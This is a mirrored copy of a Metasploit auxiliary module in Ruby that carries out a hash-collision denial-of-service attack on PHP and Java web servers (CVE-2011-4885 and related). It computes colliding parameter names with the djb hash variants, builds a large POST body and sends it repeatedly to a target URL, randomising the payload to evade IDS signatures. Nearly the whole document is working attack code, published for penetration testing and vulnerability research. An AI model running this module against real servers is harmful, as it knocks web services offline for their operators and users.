Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/http/hashcollision_dos.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => 'Hashtable Collisions',12'Description' => %q{13This module uses a denial-of-service (DoS) condition appearing in a variety of14programming languages. This vulnerability occurs when storing multiple values15in a hash table and all values have the same hash value. This can cause a web server16parsing the POST parameters issued with a request into a hash table to consume17hours of CPU with a single HTTP request.1819Currently, only the hash functions for PHP and Java are implemented.20This module was tested with PHP + httpd, Tomcat, Glassfish and Geronimo.21It also generates a random payload to bypass some IDS signatures.22},23'Author' =>24[25'Alexander Klink', # advisory26'Julian Waelde', # advisory27'Scott A. Crosby', # original advisory28'Dan S. Wallach', # original advisory29'Krzysztof Kotowicz', # payload generator30'Christian Mehlmauer' # metasploit module31],32'License' => MSF_LICENSE,33'References' =>34[35['URL', 'http://ocert.org/advisories/ocert-2011-003.html'],36['URL', 'https://web.archive.org/web/20120105151644/http://www.nruns.com/_downloads/advisory28122011.pdf'],37['URL', 'https://fahrplan.events.ccc.de/congress/2011/Fahrplan/events/4680.en.html'],38['URL', 'https://fahrplan.events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf'],39['URL', 'https://www.youtube.com/watch?v=R2Cq3CLI6H8'],40['CVE', '2011-5034'],41['CVE', '2011-5035'],42['CVE', '2011-4885'],43['CVE', '2011-4858']44],45'DisclosureDate'=> '2011-12-28'46))4748register_options(49[50OptEnum.new('TARGET', [ true, 'Target to attack', nil, ['PHP','Java']]),51OptString.new('URL', [ true, "The request URI", '/' ]),52OptInt.new('RLIMIT', [ true, "Number of requests to send", 50 ])53])5455register_advanced_options(56[57OptInt.new('RecursiveMax', [false, "Maximum recursions when searching for collisionchars", 15]),58OptInt.new('MaxPayloadSize', [false, "Maximum size of the Payload in Megabyte. Autoadjust if 0", 0]),59OptInt.new('CollisionChars', [false, "Number of colliding chars to find", 5]),60OptInt.new('CollisionCharLength', [false, "Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)", 2]),61OptInt.new('PayloadLength', [false, "Length of each parameter in the payload", 8])62])63end6465def generate_payload66# Taken from:67# https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision6869@recursive_counter = 170collision_chars = compute_collision_chars71return nil if collision_chars == nil7273length = datastore['PayloadLength']74size = collision_chars.length75post = ""76max_value_float = size ** length77max_value_int = max_value_float.floor78print_status("#{rhost}:#{rport} - Generating POST data...")79for i in 0.upto(max_value_int)80input_string = i.to_s(size)81result = input_string.rjust(length, "0")82collision_chars.each do |key, value|83result = result.gsub(key, value)84end85post << "#{Rex::Text.uri_encode(result)}=&"86end87return post88end8990def compute_collision_chars91print_status("#{rhost}:#{rport} - Trying to find hashes...") if @recursive_counter == 192hashes = {}93counter = 094length = datastore['CollisionCharLength']95a = []96for i in @char_range97a << i.chr98end99# Generate all possible strings100source = a101for i in Range.new(1,length-1)102source = source.product(a)103end104source = source.map(&:join)105# and pick a random one106base_str = source.sample107base_hash = @function.call(base_str)108hashes[counter.to_s] = base_str109counter = counter + 1110for item in source111if item == base_str112next113end114if @function.call(item) == base_hash115# Hooray we found a matching hash116hashes[counter.to_s] = item117counter = counter + 1118end119if counter >= datastore['CollisionChars']120break121end122end123if counter < datastore['CollisionChars']124# Try it again125if @recursive_counter > datastore['RecursiveMax']126print_error("#{rhost}:#{rport} - Not enough values found. Please start this script again.")127return nil128end129print_status("#{rhost}:#{rport} - #{@recursive_counter}: Not enough values found. Trying again...")130@recursive_counter = @recursive_counter + 1131hashes = compute_collision_chars132else133print_status("#{rhost}:#{rport} - Found values:")134hashes.each_value do |item|135print_status("#{rhost}:#{rport} -\tValue: #{item}\tHash: #{@function.call(item)}")136item.each_char do |c|137print_status("#{rhost}:#{rport} -\t\tValue: #{c}\tCharcode: #{c.unpack("C")}")138end139end140end141return hashes142end143144# General hash function, Dan "djb" Bernstein times XX add145def djbxa(input_string, base, start)146counter = input_string.length - 1147result = start148input_string.each_char do |item|149result = result + ((base ** counter) * item.ord)150counter = counter - 1151end152return result.round153end154155# PHP's hash function (djb times 33 add)156def djbx33a(input_string)157return djbxa(input_string, 33, 5381)158end159160# Java's hash function (djb times 31 add)161def djbx31a(input_string)162return djbxa(input_string, 31, 0)163end164165def run166case datastore['TARGET']167when /PHP/168@function = method(:djbx33a)169@char_range = Range.new(0, 255)170if (datastore['MaxPayloadSize'] <= 0)171datastore['MaxPayloadSize'] = 8 # XXX: Refactor172end173when /Java/174@function = method(:djbx31a)175@char_range = Range.new(0, 128)176if (datastore['MaxPayloadSize'] <= 0)177datastore['MaxPayloadSize'] = 2 # XXX: Refactor178end179else180raise RuntimeError, "Target #{datastore['TARGET']} not supported"181end182183print_status("#{rhost}:#{rport} - Generating payload...")184payload = generate_payload185return if payload == nil186# trim to maximum payload size (in MB)187max_in_mb = datastore['MaxPayloadSize']*1024*1024188payload = payload[0,max_in_mb]189# remove last invalid(cut off) parameter190position = payload.rindex("=&")191payload = payload[0,position+1]192print_status("#{rhost}:#{rport} -Payload generated")193194for x in 1..datastore['RLIMIT']195print_status("#{rhost}:#{rport} - Sending request ##{x}...")196opts = {197'method' => 'POST',198'uri' => normalize_uri(datastore['URL']),199'data' => payload200}201begin202c = connect203r = c.request_cgi(opts)204c.send_request(r)205# Don't wait for a response, can take hours206rescue ::Rex::ConnectionError => exception207print_error("#{rhost}:#{rport} - Unable to connect: '#{exception.message}'")208return209ensure210disconnect(c) if c211end212end213end214end215216217